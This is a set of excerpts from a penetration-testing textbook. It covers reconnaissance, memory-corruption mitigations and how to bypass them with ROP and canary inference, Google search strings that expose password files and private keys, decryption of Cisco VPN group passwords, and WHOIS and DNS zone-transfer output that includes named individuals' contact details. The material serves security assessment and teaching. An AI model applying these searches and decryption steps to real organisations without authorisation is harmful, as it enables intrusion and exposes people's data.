Reconnaissance

You can adopt different tactics to identify hosts, networks, and users of interest. Attackers map the target environment by using open sources (e.g., web search engines, WHOIS databases, and DNS servers) without direct network interaction through port scanning.

Reconnaissance often uncovers hosts that aren’t properly fortified. Determined attackers invest time in identifying peripheral networks and hosts, whereas organizations often concentrate their efforts on securing obvious public systems (such as public web and mail servers). Neglected hosts lying off the beaten track are ripe for the picking.

Useful pieces of information gathered through reconnaissance include details of Internet-based network blocks and internal IP addresses. Through DNS and WHOIS querying, you can map the networks of a target organization, and understand relationships between physical locations.

This information is fed into the vulnerability scanning and penetration testing phases to identify exploitable flaws. Further reconnaissance involves extracting user details (e.g., email addresses, telephone numbers, and usernames) that can be used during brute-force password grinding and social engineering phases.

Vulnerability Scanning

Upon identifying IP blocks of interest, attackers carry out bulk scanning to identify accessible network services that can later be exploited to achieve particular goals—be it code execution, information leak, or denial of service. Network scanning tools (e.g., Nmap, Nessus, Rapid7 Nexpose, and QualysGuard) perform service fingerprinting, probing, and testing for known issues.

Useful information gathered through vulnerability scanning includes details of exposed network services and peripheral information (such as the ICMP messages to which hosts respond, and insight into firewall ACLs). Known weaknesses and exposures are also reported by scanning tools, which you can then investigate further.

Investigation of Vulnerabilities

Vulnerabilities in software are sometimes disclosed through public Internet mailing lists and forums, but are increasingly sold to private organizations, such as the Zero Day Initiative (ZDI), which in turn responsibly disclose issues to vendors and notify paying subscribers. According to Immunity Inc., on average, a zero-day bug has a lifespan of 348 days before a vendor patch is made available.

Many brokers do not notify product vendors of vulnerabilities, and some provide commercially supported zero-day exploits to their customers. Between responsible disclosure, zero-day abuse, and the public discussion of known flaws, vulnerability details are fragmented, as depicted by Figure 2-1.

Figure 2-1. Common proliferation paths for vulnerability details

To effectively report vulnerabilities within an environment, a security professional would need to know the bugs within both private and public domains. Many do not have access to private feeds, and base their assessment on public knowledge, augmented by their own research.

Private vulnerability sources

Many government agencies and defense industrial base entities consume private vulnerability information via brokers and sources including ZERODIUM, Exodus Intelligence, Netragard, and ReVuln. These organizations are known to provide details of unpatched bugs to subscribers.

Stefan Frei of NSS Labs published a paper on this topic.² Within his paper, Frei discussed vulnerabilities known to a privileged group, as demonstrated in Figure 2-2.

Based on disclosures regarding the US government’s budget for zero-day exploit purchases, Frei estimated that at least 85 known unknowns exist on any given day. Depending on the policy of each party involved, these bugs might never be disclosed to the vendor.

Vlad Tsyrklevich’s “Hacking Team: A Zero-Day Market Case Study” provides insight into the private market for vulnerability information, including prices of exploits and details of unpatched flaws in packages including Abode Flash, Microsoft Office, Internet Explorer, and Oracle Database.

Figure 2-2. Vulnerability discovery and disclosure matrix

Exploitation of Vulnerabilities

Attackers can exploit flaws in exposed logic for gain. Depending on their goals, they might take advantage of vulnerabilities to secure privileged network access, persistence, or obtain sensitive information.

During a penetration test, qualification of vulnerabilities usually involves exploitation. Robust commercially supported frameworks provide flexible targeting of vulnerable components within a given environment (supporting different operating systems and configurations), which allows you to define specific exploit payloads. Modules developed by third parties extend these frameworks, providing support for Supervisory Control And Data Acquisition (SCADA) and other technologies. Popular exploitation frameworks are as follows:

• Rapid7 Metasploit

• CORE Impact

• Immunity CANVAS

Within NIST SP 800-115, exploitation tasks fall under the category of Target Vulnerability Validation Techniques. As a tester (with correct authorization) you might undertake password cracking and social engineering, and qualify vulnerabilities through use of exploitation frameworks and tools.

An Iterative Assessment Approach

The assessment process is iterative, and new details (e.g., IP address blocks, hostnames, and credentials) are often fed back to earlier workflow elements. Figure 2-3 describes the process and data passed between individual testing elements.

Figure 2-3. An iterative approach to discovery and testing

Updating Kali Linux

Upon installing Kali Linux, use the following commands to update the distribution and packages (new releases of Nmap and Metasploit include components that should be actively maintained):

apt-get update
apt-get dist-upgrade
updatedb

System Components

Exploitable vulnerabilities can exist within infrastructure (e.g., hypervisors, software switches, storage nodes, and load balancers), operating systems, server software, client applications, and end users themselves. Figure 3-3 shows the relationship between hardware, software, and wetware components within a typical environment.

Figure 3-3. Individual system components within a physical environment

Adversarial Goals

Attackers pursue goals that might include the following:

Data exposure or modification

Within a computer system, data can take many forms, from server-side databases to data in-transit and material processed by client software. Attackers often seek to expose sensitive data, or modify it for gain (e.g., obtaining authentication tokens that can be used to elevate privilege, or modifying flags within memory to disable security features).

Elevation of privilege

Software security features enforce boundaries and privilege levels. Attackers can elevate their privileges by either providing legitimate credentials (such as a stolen authentication token) or exploiting flaws within the controls themselves.

Arbitrary code execution

Execution of arbitrary instructions within an environment makes it possible for an attacker to directly access resources, and often modify the underlying system configuration.

Denial of service

Achieving a condition by which system components become unresponsive (or latency increases beyond a given threshold) can incur cost on the part of the victim, and benefit the attacker.

Software written in languages with memory safety problems (e.g., C/C++) is susceptible to manipulation through buffer overflows, over-reads, and abuse of pointers, which can result in many of these goals being achieved. Writing applications in memory-safe languages (including Java and Microsoft .NET) can render entire bug classes redundant.

System Access and Execution Context

Three broad levels of system access that an adversary can secure are as follows:

Remote

Most threats are external to a given system, with access granted via a wide area network such as the Internet. As such, remote attackers are unable to intercept network traffic between components (e.g., the client, server, and system services supporting authentication, content delivery, and other functions) or observe local system operation to uncover secrets via side channels.

Close proximity

Logical proximity or network access (e.g., sitting in the same coffee shop as a legitimate user, or securing access to shared cloud infrastructure) often provides access to data flowing between system components, or shared resources (such as server memory or persistent storage). Compromise can occur if material is not adequately protected through transport layer security, or if sensitive data is leaked.

Direct physical access

Direct unsupervised access to system components often results in complete compromise. In recent years, government agents have been known to interdict shipments of infrastructure hardware⁴ (e.g., routers, switches, and firewalls) to implant sophisticated bugs within target environments. Data centers have also been physically compromised.⁵

A common goal is code execution, by which exposed logic is used to execute particular instructions on behalf of the attacker. Execution often occurs within a narrow context, however. Consider three scenarios:

XSS

An adversary feeds malicious JavaScript to a web application, which in turn is presented to an unwitting user and executed within his browser to perform a useful action (such as leaking cookie material or generating arbitrary HTTP requests).

HTML injection

Browsers are often exploited through MITM attacks, whereby malicious HTML is presented, leading to memory corruption and limited code execution within a sandboxed browser process.

Malicious PHP file creation

Many PHP interpreter flaws are exploited by using malicious content—arbitrary code execution is achieved through crafting a script server-side (via upload or file creation bug), and parsing it to exploit a known bug.

The context under which an adversary executes code varies. For example, web application flaws often result in execution via an interpreted language (e.g., JavaScript, Python, Ruby, or PHP) and rarely provide privileged access to the underlying operating system. Sandbox escape and local privilege escalation tactics must be adopted to achieve persistence.

Attacker Economics

The value of a compromised target to an adversary varies and can run into billions of dollars when dealing in intellectual property, trade secrets, or information that provides an unfair advantage within financial markets. If the value of the data within your systems is significantly greater than the cost to an adversary to obtain it, you are likely a target.

By combining adversarial goals with the exposed attack surface, we can plot attack graphs, as shown in Figures 3-4 and 3-5. In these examples, an adversary is presenting malicious content to Google Chrome with the goal of achieving native code execution and privileged host persistence.

Figure 3-4. Remote Chrome browser attack graph

Figure 3-5. Local privilege escalation attack graph

Here are two important takeaways from the graphs:

• Exploiting Java is the easiest route to medium-integrity native code execution

• Kernel exploits provide the quickest route to privileged host persistence

Adversaries follow the path of least resistance and reuse code and infrastructure to reduce cost. The attack surface presented by desktop software packages (e.g., web browsers, mail clients, and word processors) combined with the low cost of exploit research, development, and malicious content delivery, makes them attractive targets that will likely be exploited for years to come.

Runtime Memory Layout

Memory layout within different operating systems and hardware platforms varies. Figure 3-6 demonstrates a high-level layout commonly found within Windows, Linux, and similar operating systems on Intel and AMD x86 hardware. Input supplied from external sources (users and other applications) is processed and stored using the stack and heap. If software fails to handle input safely, an attacker can overwrite sensitive values and change program flow.

Figure 3-6. Runtime memory layout

Processor Registers and Memory

Volatile memory contains code in the text segment, global and static variables in the data and BSS segments, data on the heap, and local function variables and arguments on the stack.

During program execution, the processor reads and interprets data by using registers that point to structures in memory. Register names, numbers, and sizes vary under different processor architectures. For simplicity’s sake, I use Intel IA-32 register names (eip, ebp, and esp in particular) here. Figure 3-7 shows a high-level representation of a program executing in memory, including these processor registers and the various memory segments.

Three important registers from a security perspective are the instruction pointer (eip) and the aforementioned ebp and esp. These are used to read data from memory during code execution, as follows:

• eip points to the next instruction to be executed by the CPU

• ebp should always point to the start of the current function’s stack frame

• esp should always point to the bottom of the stack

Figure 3-7. Intel processor registers and runtime memory layout

In Figure 3-7, instructions are read and executed from the text segment, and local variables used by the function are stored on the stack. The heap, data, and BSS segments are used for long-term storage of data, because, when a function returns, the stack is unwound and local variables often overwritten by the parent function’s stack frame.

During operation, most low-level processor operations (e.g., push, pop, ret, and xchg) automatically modify CPU registers so that the stack layout is valid, and the processor fetches and executes the next instruction.

Writing to Memory

Overflowing an allocated buffer often results in a program crash because critical values used by the processor (e.g., the saved frame and instruction pointers on the stack, or control structures on the heap) are clobbered. Adversaries can take advantage of this behavior to change logical program flow.

Reading from Memory

Systems increasingly rely on secrets stored in memory to operate in a secure manner (e.g., encryption keys, access tokens, authentication flags, and GUID values). Upon obtaining sensitive values through an information leak or side channel attack, an adversary can undermine the integrity of a system.

OpenSSL TLS heartbeat extension information leak

OpenSSL versions 1.0.1 through 1.0.1f are susceptible to a flaw known as heartbleed,¹⁰ as introduced into the OpenSSL codebase in March 2012 and discovered in early 2014 by Neel Mehta of Google.¹¹ Figure 3-8 demonstrates a normal TLS heartbeat request, and Figure 3-9 demonstrates the heap over-read, revealing server memory upon sending a malformed TLS heartbeat request.¹²

Figure 3-8. A server fulfilling a TLS heartbeat request

Figure 3-9. A malicious TLS heartbeat request revealing heap content

The defect leaks up to 64K of heap content per request. By sending multiple requests, attackers can extract RSA private keys from a server application (such as Apache HTTP Server or Nginx) using a vulnerable OpenSSL library. Attackers can use Metasploit¹³ to dump the contents of the heap and extract private keys.

Warning

The heartbeat extension information leak flaw affects many applications using the OpenSSL 1.0.1 through 1.0.1f, including desktop software packages. Attacks have been witnessed in the wild against both TLS clients and servers.

Compiler and OS Security Features

To provide resilience from attacks resulting in sensitive data being overwritten, or read from vulnerable applications, vendors implement security features within their operating systems and compilers. A paper titled “SoK: Eternal War in Memory” details mitigation strategies and attack tactics applying to languages with memory safety issues (e.g., C/C++). What follows is a list of common security features, their purpose, and details of the platforms that use them:

Data execution prevention (DEP)

Within most operating systems (including Microsoft Windows, Apple OS X, and Linux), DEP is used to mark writable areas of memory, including the stack and the heap, as non-executable. DEP is used with processor hardware to prevent execution of instructions from writable areas of memory. There are exceptions to DEP support and coverage, however: many 32-bit binaries are incompatible with DEP, and some libraries (e.g., Microsoft Thunk Emulation¹⁴) legitimately execute instructions from the heap.

Address space layout randomization (ASLR)

Platforms including Linux, Oracle Solaris, Microsoft Windows, and Apple OS X also support ASLR, which is used to randomize the locations of loaded libraries and binary code. Randomization of memory makes it difficult for an attacker to commandeer logical program flow; however, implementation flaws exist, and some libraries are compiled without ASLR support (e.g., Microsoft’s mscorie.dll under Windows 7).

Code signing

Apple’s iOS and other platforms use code signing,¹⁵ by which each executable page of memory is signed, and instructions executed only if the signature is correct.

SEHOP

To prevent SEH pointers from being overwritten and abused within Windows applications, Microsoft implemented SEHOP,¹⁶ which checks the validity of a thread’s exception handler list before allowing any to be called.

Pointer encoding

Function pointers can be encoded (using XOR or other means) within Microsoft Visual Studio and GCC. If encoded pointers are overwritten without applying the correct XOR operation first, they cause a program crash.

Stack canaries

Compilers including Microsoft Visual Studio, GCC, and LLVM Clang place canaries on the stack before important values (e.g., saved eip and function pointers on the stack). The value of the canary is checked before the function returns; if it has been modified, the program crashes.

Heap protection

Microsoft Windows and Linux systems include sanity checking within heap management code. These improvements protect against double free and heap overflows resulting in control structures being overwritten.

Relocation read-only (RELRO)

The GOT, destructors, and constructors entries within the data segment can be protected through instructing the GCC linker to resolve all dynamically linked functions at runtime, and marking the entries read-only.

Format string protection

Most compilers provide protection against format string attacks, in which format tokens (such as %s and %x) and other content is passed to functions including printf, scanf, and syslog, resulting in an attacker writing to or reading from arbitrary memory locations.

Circumventing Common Safety Features

You can modify an application’s execution path through overwriting certain values in memory. Depending on the security mechanisms in use (including DEP, ASLR, stack canaries, and heap protection), you might need to adopt particular tactics to achieve arbitrary code execution, as described in the following sections.

Bypassing DEP

DEP prevents the execution of arbitrary instructions from writable areas of memory. As such, you must identify and borrow useful instructions from the executable text segment to achieve your goals. The challenge is one of identifying sequences of useful instructions that can be used to form return-oriented programming (ROP) chains; the following subsections take a closer look at these.

CPU opcode sequences

Processor opcodes vary by architecture (e.g., Intel and AMD x86-64, ARMv7, SPARC V8, and so on). Table 3-2 lists useful Intel IA-32 opcodes, corresponding instruction mnemonics, and notes. General registers (eax, ebx, ecx, and edx) are used to store 32-bit (4-byte word) values that are manipulated and used during different operations.

Table 3-2. Useful IA-32 instructions

Opcode	Assembly	Notes
\x58	pop eax	Remove the last word and write to eax
\x59	pop ecx	Remove the last word and write to ecx
\x5c	pop esp	Remove the last word and write to esp
\x83\xec\x10	sub esp, 10h	Subtract 10 (hex) from the value stored in esp
\x89\x01	mov (ecx), eax	Write eax to the memory location that ecx points to
\x8b\x01	mov eax, (ecx)	Write the memory location that ecx points to to eax
\x8b\xc1	mov eax, ecx	Copy the value of ecx to eax
\x8b\xec	mov ebp, esp	Copy the value of esp to ebp
\x94	xchg eax, esp	Exchange eax and esp values (stack pivot)
\xc3	ret	Return and set eip to the current word on the stack
\xff\xe0	jmp eax	Jump (set eip) to the value of eax

Many of these operations update the esp (stack pointer) register so that it points to the bottom of the stack. For example, push decrements the pointer by 4 when a word is written to the stack, and pop increments it by 4 when one is removed.

The ret instruction is important within ROP—it is used to transfer control to the next instruction sequence, as defined by a return address located on the stack. As such, each sequence must end with a \xc3 value or similar instruction that transfers execution.

Program binaries and loaded libraries often contain millions of valid CPU instructions. By searching the data for particular sequences (e.g., useful instructions followed by \xc3), you can build simple programs out of borrowed code. Two tools that scan libraries and binaries for instruction sequences are ROPgadget¹⁷ and ROPEME¹⁸.

Writing data to an arbitrary location in memory

Upon scanning the text segment for instructions, you might find the following two sequences (the first value is the location in memory at which each sequence is found, followed by the hex opcodes, and respective instruction mnemonics):

0x08056c56: "\x59\x58\xc3 <==> pop ecx ; pop eax ; ret"
0x080488b2: "\x89\x01\xc3 <==> mov (ecx), eax ; ret"

Both sequences are only three bytes long. Before you chain them together for execution, you first populate the stack, as shown in Figure 3-10.

Figure 3-10. Prepared stack frame and CPU register values

Upon executing the first sequence from 0x08056c56, the following occurs:

1. The two words at the bottom of the stack are removed and stored within the ecx and eax registers. Each pop instruction also increments esp by 4 each time so that it points to the bottom of the stack.

2. The return instruction (ret) at the end of the first sequence reads the next word on the stack, which points to the second chain at 0x080488b2.

3. The second sequence writes the eax value to the memory address to which ecx points.

ROP gadgets

Useful sequences are chained to form gadgets. Common uses include:

• Reading and writing arbitrary values to and from memory

• Performing operations against values stored in registers (e.g., add, sub, and, xor)

• Calling functions in shared libraries

When attacking platforms with DEP, ROP gadgets are often used as an initial payload to prepare a region of memory that is writable and executable. This is achieved through building fake stack frames for memory management functions (i.e., memset and mmap64 within Linux, and VirtualAlloc and VirtualProtect within Microsoft Windows) and then calling them. Through using borrowed instructions to establish an executable region, you inject and finally run arbitrary instructions (known as shellcode).

Dino Dai Zovi’s presentation¹⁹ details the preparation of ROP gadgets during exploitation of the Microsoft Internet Explorer 8 Aurora vulnerability,²⁰ using a stack pivot to establish an attacker-controlled stack frame.

$ ldd ./test
         linux-gate.so.1 =>  (0xb78d3000)
         libc.so.6 => /lib/libc.so.6 (0xb7764000)
         /lib/ld-linux.so.2 (0xb78d4000)
$ ldd ./test
         linux-gate.so.1 =>  (0xb78ab000)
         libc.so.6 => /lib/libc.so.6 (0xb773c000)
         /lib/ld-linux.so.2 (0xb78ac000)
$ ldd ./test
         linux-gate.so.1 =>  (0xb7781000)
         libc.so.6 => /lib/libc.so.6 (0xb7612000)
         /lib/ld-linux.so.2 (0xb7782000)

Bypassing stack canaries

Depending on their implementation, an attacker can overcome stack canary mechanisms through the following methods:

• Using an information leak bug to reveal the canary

• Inferring the canary through iterative overflow attempts (if the canary is static)

• Calculating the canary through a weakness in the implementation

• Overwriting a function pointer and diverting logical program flow before the canary is checked (possible when exploiting Microsoft SEH pointers)

• Overwriting the value the canary is checked against

Inferring the canary as per the second bullet is an interesting topic—Andrea Bittau and others at Stanford University published a paper in 2014 titled “Hacking Blind”,²² in which they successfully remotely exploit Nginx via CVE-2013-2028. The target system ran a 64-bit version of Linux with stack canaries, DEP, and ASLR.

Bittau et al.’s attack works by identifying the point at which their material overwrites the canary (causing a crash), and then iteratively overwriting it byte-by-byte, until the service no longer crashes, meaning the canary is valid. The stack layout across subsequent overflow attempts is shown in Figure 3-11.

Figure 3-11. Inferring a stack canary through overwriting it

Writing past the canary modifies the saved frame and instruction pointers. By inferring these through writing byte-by-byte in the same fashion, you can begin to map memory layout (identifying the location of the text segment and the parent stack frame) and bypass ASLR.

Warning

Nginx, Apache HTTP Server, Samba, and other server packages undermine security by failing to generate a fresh canary each time a worker process is executed via fork, and so the stack canary is consistent across different sessions.

Google Search

Attackers use Google to gather useful information through its advanced search panel. Searches are refined to include or exclude certain keywords, or to hit on keywords in specific file formats, under specific Internet domains, or parts of the web page (e.g., the page title). Table 4-1 lists useful Google search directives.

Metadata from publicly available materials found via Google (e.g., Microsoft Office formats and PDF files) can also be parsed to reveal usernames and client software details, as demonstrated by the Metagoofil tool.

intext:password filetype:xlsx

intitle:"index of /backup"

inurl:dyn_sensors.htm

filetype:log intext:password

site:edu filetype:key intext:private

Enumerating contact details

Google searches often reveal contact details, including email addresses and telephone and fax numbers. Figure 4-1 shows the results of a simple query passed to Google to enumerate users at NIST.

Figure 4-1. Using Google to enumerate users

Identifying web servers

You can query Google in many ways, depending on the data you seek. Figures 4-2 and 4-3 show how Google is used to enumerate web servers at MIT and list web servers that support directory indexing at NASA, respectively.

Figure 4-2. Enumerating MIT’s web servers via Google

Figure 4-3. Identifying indexed web directories under nasa.gov

Obtaining VPN configuration files

Some organizations publicly distribute configuration files and keys for VPN systems. Cisco profile configuration files (PCFs) contain IPsec VPN client variables, including the following:

• VPN server endpoint addresses

• Plaintext credentials (group name and password)

• Encrypted credentials (an obfuscated group password)

Table 4-2 lists Google search strings you can use to uncover Cisco VPN, OpenVPN, and SSH configuration materials and keys. Figure 4-4 demonstrates a search revealing PCF files of academic institutions in the United States. During testing, change the site variable to encompass each domain within scope.

Table 4-2. Search strings revealing VPN and SSH configuration files

Technology	Example query strings
Cisco VPN	filetype:pcf site:edu grouppwd
OpenVPN	filetype:ovpn site:tk filetype:key site:edu +client
SSH	filetype:key site:edu +id_dsa filetype:id_rsa

Many of the exposed PCF files shown in Figure 4-4 contain a 3DES-encrypted password (enc_GroupPwd). A design flaw means the key used to decrypt the password is contained within the ciphertext, and so the encryption mechanism is largely obfuscative.

The following sites provide tools to instantly decrypt these passwords:

• Cisco VPN client password decoder

• Cisco VPN client password cracker

Figure 4-4. Identifying Cisco PCF files via Google

Maurice Massar published cisco-decrypt.c,³ which can be built and run locally from Unix-based environments (upon installing libgpg-error and libgcrypt⁴), as demonstrated by Example 4-1.

Example 4-1. Building and executing cisco-decrypt within Apple OS X

$ wget http://bit.ly/2aAs1IM
$ gcc -Wall -o cisco-decrypt cisco-decrypt.c $(libgcrypt-config --libs --cflags)
$ ./cisco-decrypt 992C9F91B9AF94528891390F09C783805E33FDBB1C6146556CDADAD4A06D
secret

Armed with a VPN endpoint address and credentials, you can use an IPsec VPN client (e.g., VPNC within Kali Linux) to establish a connection and evaluate the level of network access granted. Chapter 10 describes IPsec VPN assessment in detail.

Querying Netcraft

Netcraft retains historic server fingerprint details. You can use the Netcraft web interface to map network blocks, displaying operating platform details and other useful information. Figure 4-5 shows Netcraft queried to list web servers within the nist.gov domain.

Figure 4-5. Using Netcraft to identify and fingerprint web servers

Using Shodan

Shodan is a searchable database of network scan data. Upon registering, you can enumerate valid hostnames and exposed network services, and identify unhardened systems (e.g., Internet-connected devices using default passwords). Figure 4-6 demonstrates the exposed systems at Zappos.com, and Table 4-2 details Shodan search filters. Metasploit also contains a Shodan search module,⁵ which you can use to identify known systems within target network blocks.

Figure 4-6. Enumerating Internet-exposed services with Shodan

sendmail city: "london"

nginx country:DE

apache geo:32.8,-117,50

hostname:sslvpn

net:216.219.0.0/16

jboss os:linux

avaya port:5060

nginx before:18/1/2010

apache after:22/3/2010
before:4/6/2010

Searching LinkedIn

LinkedIn often reveals useful information about an organization and its people, along with details of technologies used internally. With a LinkedIn Premium account, you can obtain full names and roles of users (restricted to 700 results per search) that can be funneled into spear phishing and brute-force password grinding efforts. Figure 4-9 demonstrates the various search fields that you can use during testing.

Figure 4-9. Using LinkedIn to search for users

Manual WHOIS Querying

You can use the whois utility (found within Kali Linux, Apple OS X, and other systems) to query both IP and domain WHOIS services. In Example 4-2, I use the tool to reveal useful information regarding the blah.com domain, including administrative contact details, and authoritative DNS name server names.

root@kali:~# whois blah.com

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: BLAH.COM
   Registrar: TUCOWS DOMAINS INC.
   Whois Server: whois.tucows.com
   Referral URL: http://domainhelp.opensrs.net
   Name Server: RJOCPDNE01.TIMBRASIL.COM.BR
   Name Server: RJOCPDNE02.TIMBRASIL.COM.BR
   Status: ok
   Updated Date: 09-jan-2014
   Creation Date: 20-mar-1995
   Expiration Date: 21-mar-2016

>>> Last update of whois database: Sun, 27 Apr 2014 01:14:30 UTC <<<

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.

Domain Name: BLAH.COM
Registry Domain ID: 1803012_DOMAIN_COM-VRSN
Registry Registrant ID:
Registrant Name: Marcello do Nascimento
Registrant Organization: Tim Celular SA
Registrant Street: Avenida das Americas, 3434
Registrant City: Rio de Janeiro
Registrant State/Province: RJ
Registrant Postal Code: 22640-102
Registrant Country: BR
Registrant Phone: +55.1155021222
Registrant Phone Ext:
Registrant Fax: +55.1155021222
Registrant Fax Ext:
Registrant Email: marcello@daviddonascimento.com.br
Registry Admin ID:
Name Server: RJOCPDNE01.TIMBRASIL.COM.BR
Name Server: RJOCPDNE02.TIMBRASIL.COM.BR
DNSSEC: Unsigned

Alternatively, the Whois tab of http://bgp.he.net/dns/blah.com provides the registration information, as shown in Figure 4-10. Other public sites support this type of querying, including DomainTools.

Figure 4-10. Using a web interface to query WHOIS

IP WHOIS Querying Tools and Examples

Here are some tools that you can use to query IP WHOIS databases:

• The whois command-line client

• RIR WHOIS web interfaces

• Third-party applications (e.g., DomainTools)

$ whois -a "z / nintendo*"

# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html

Nintendo Of America inc. NINTENDO-COM (NET-205-166-76-0-1)
205.166.76.0 - 205.166.76.255
NINTENDO HEADQUARTERS 1 NINTENDOHEADQUARTERS1 (NET-70-89-123-72-1)
70.89.123.72 - 70.89.123.79

Nintendo Of America inc. (AS11278) NINTENDO 11278

Nintendo North America (NNA-21)
Nintendo of America (TEND)
NINTENDO OF AMERICA INC (NA-101)
NINTENDO OF AMERICA INC (NA-103)
NINTENDO OF AMERICA INC (NA-53)
NINTENDO OF AMERICA INC (NA-62)
NINTENDO OF AMERICA INC (NA-83)
NINTENDO OF AMERICA INC (NINTE-3)
Nintendo Of America inc. (NINTEN)
Nintendo of America, Inc. (NINTE-1)
Nintendo of America, Inc. (NINTE-2)

Nintendo Network Administration (NNA12-ARIN) netadmin@noa.nintendo.com

NINTENDO (C00975304) ABOV-T461-209-133-66-88-29 (NET-209-133-66-88-1)
209.133.66.88 - 209.133.66.95
NINTENDO (C00975329) ABOV-T461-209-133-66-72-29 (NET-209-133-66-72-1)
209.133.66.72 - 209.133.66.79
NINTENDO HEADQUARTERS 1 (C01807503) NINTENDOHEADQUARTERS1 (NET-70-89-123-72-1) 
70.89.123.72 - 70.89.123.79
Nintendo of America Inc. (C02551839) INAP-SEF-NINTENDO-39421 (NET-69-25-139-128-1) 
69.25.139.128 - 69.25.139.255
Nintendo of America Inc. (C02563750) INAP-SEF-NINTENDO-39650 (NET-63-251-6-64-1) 
63.251.6.64 - 63.251.6.79

$ whois -a "z @ nintendo*"

# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html

BILL, OLARTE  (BILLO2-ARIN) billo@noa.nintendo.com +1-425-882-2040
Dan, Lambert  (LDA31-ARIN) dan.lambert@noa.nintendo.com +1-425-861-2205
Darling, Caleb  (CDA73-ARIN) caleda01@noa.nintendo.com +1-425-861-2611
Garlock, Jeff  (GARLO5-ARIN) jeff.garlock@noa.nintendo.com +1-425-861-2015
Lambert, Dan  (DLA46-ARIN) dan.lambert@noa.nintendo.com +1-425-861-2205
Nintendo Network Administration (NNA12-ARIN) netadmin@noa.nintendo.com

$ whois -A nintendo
% [whois.apnic.net]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

% Information related to '60.32.179.16 - 60.32.179.23'

inetnum:        60.32.179.16 - 60.32.179.23
netname:        NINTENDO
descr:          Nintendo Co.,Ltd.
country:        JP
admin-c:        FH829JP
tech-c:         FH829JP
remarks:        This information has been partially mirrored by APNIC from
remarks:        JPNIC. To obtain more specific information, please use the
remarks:        JPNIC WHOIS Gateway at
remarks:        http://www.nic.ad.jp/en/db/whois/en-gateway.html or
remarks:        whois.nic.ad.jp for WHOIS client. (The WHOIS client
remarks:        defaults to Japanese output, use the /e switch for English
remarks:        output)
changed:        apnic-ftp@nic.ad.jp 20060208
source:         JPNIC

% Information related to '60.36.183.152 - 60.36.183.159'

inetnum:        60.36.183.152 - 60.36.183.159
netname:        NINTENDO
descr:          Nintendo Co.,Ltd.
country:        JP
admin-c:        FH829JP
tech-c:         MI7247JP
remarks:        This information has been partially mirrored by APNIC from
remarks:        JPNIC. To obtain more specific information, please use the
remarks:        JPNIC WHOIS Gateway at
remarks:        http://www.nic.ad.jp/en/db/whois/en-gateway.html or
remarks:        whois.nic.ad.jp for WHOIS client. (The WHOIS client
remarks:        defaults to Japanese output, use the /e switch for English
remarks:        output)
changed:        apnic-ftp@nic.ad.jp 20050729
source:         JPNIC

Using WHOIS web interfaces

You also can use web interfaces run by registries to obtain useful information. Figure 4-11 shows that if a postal code is known for a location, you can use it to enumerate the associated IP space within RIPE.

Figure 4-11. Querying the RIPE search engine using a postal code

Forward DNS Querying

DNS records are used by most network applications. Two common scenarios are web browsing (i.e., a domain resolving to a web server IP address via an A or CNAME record) and sending mail (i.e., messages being sent to users within a domain through valid MX records being presented).

root@kali:~# nslookup
> set querytype=any
> nintendo.com

Non-authoritative answer:
nintendo.com
    origin = gtm-west.nintendo.com
    mail addr = webadmin.noa.nintendo.com
    serial = 2010034461
    refresh = 600
    retry = 300
    expire = 604800
    minimum = 300
nintendo.com  nameserver = gtm-east.nintendo.com.
nintendo.com  nameserver = gtm-west.nintendo.com.
Name:    nintendo.com
Address: 205.166.76.26
nintendo.com  mail exchanger = 10 smtpgw1.nintendo.com.
nintendo.com  mail exchanger = 20 smtpgw2.nintendo.com.
nintendo.com  text = "v=spf1 mx ip4:205.166.76.16 ip4:205.166.76.35 ip4:202.32.117.170 
ip4:202.32.117.171 ip4:111.168.21.4 a:bgwia.nintendo.com a:bgate.nintendo.com ~all"

root@kali:~# dnsenum nintendo.com
dnsenum.pl VERSION:1.2.3

-----   nintendo.com   -----

Host's addresses:
nintendo.com.                  5   IN   A   192.195.204.26

Wildcard detection using: fpaznhjfcwil
fpaznhjfcwil.nintendo.com.     5   IN   A   10.3.0.1

Name Servers:
gtm-west.nintendo.com.         5   IN   A   205.166.76.190
gtm-east.nintendo.com.         5   IN   A   192.195.204.190

Mail (MX) Servers:
smtpgw2.nintendo.com.          5   IN   A   205.166.76.164
smtpgw1.nintendo.com           5   IN   A   205.166.76.97

root@kali:~# nmap --script dns-srv-enum --script-args dns-srv-enum.domain=ebay.com

Starting Nmap 6.46 (http://nmap.org) at 2014-09-09 02:16 UTC
Pre-scan script results:
| dns-srv-enum:
|   Exchange Autodiscovery
|     service  prio  weight  host
|     443/tcp  0     0       molecule.corp.ebay.com
|   XMPP server-to-server
|     service   prio  weight  host
|_    5269/tcp  0     0       xmpp.corp.ebay.com

DNS Zone Transfer Techniques

Organizations use multiple name servers for load balancing and fault tolerance reasons. A zone transfer is performed over TCP port 53 to propagate current DNS zone material to other name servers that support the operation.

Zone files contain DNS records that relate to particular domains and IP blocks. Misconfigured servers honor transfer requests from untrusted sources (e.g., the public Internet), and you can use this to map a given network.

Example 4-9 demonstrates how, upon obtaining the authoritative server details for a domain (whois.net in this case), you can use dig to perform a zone transfer. You should attempt such a transfer against authoritative name servers, and after you have undertaken port scanning, any name server within scope that exposes TCP port 53.

$ dig whois.net ns +short
glb-ns4.it.verio.net.
glb-ns1.it.verio.net.
glb-ns2.it.verio.net.
glb-ns3.it.verio.net.
$ dig @glb-ns4.it.verio.net whois.net axfr

; <<>> DiG 9.8.3-P1 <<>> @glb-ns4.it.verio.net whois.net axfr
;; global options: +cmd
whois.net.                     3600 IN   SOA    nsx.NTX.net. system.NTX.net. 
                                                2014081401 86400 7200 2592000 3600
whois.net.                     3600 IN   MX     0 x210.NTX.net.
whois.net.                     900  IN   NS     glb-ns1.it.verio.net.
whois.net.                     900  IN   NS     glb-ns2.it.verio.net.
whois.net.                     900  IN   NS     glb-ns3.it.verio.net.
whois.net.                     900  IN   NS     glb-ns4.it.verio.net.
whois.net.                     30   IN   A      131.103.218.176
whois.net.                     30   IN   A      198.171.79.36
whois.net.                     30   IN   A      204.202.20.53
blog.whois.net.                600  IN   A      161.58.211.91
dev.whois.net.                 600  IN   A      10.227.2.237
forum.whois.net.               600  IN   A      161.58.211.91
ftp.whois.net.                 600  IN   CNAME  whois.net.
dev.legacy.whois.net.          3600 IN   A      131.103.218.162
qa.legacy.whois.net.           3600 IN   A      198.171.79.34
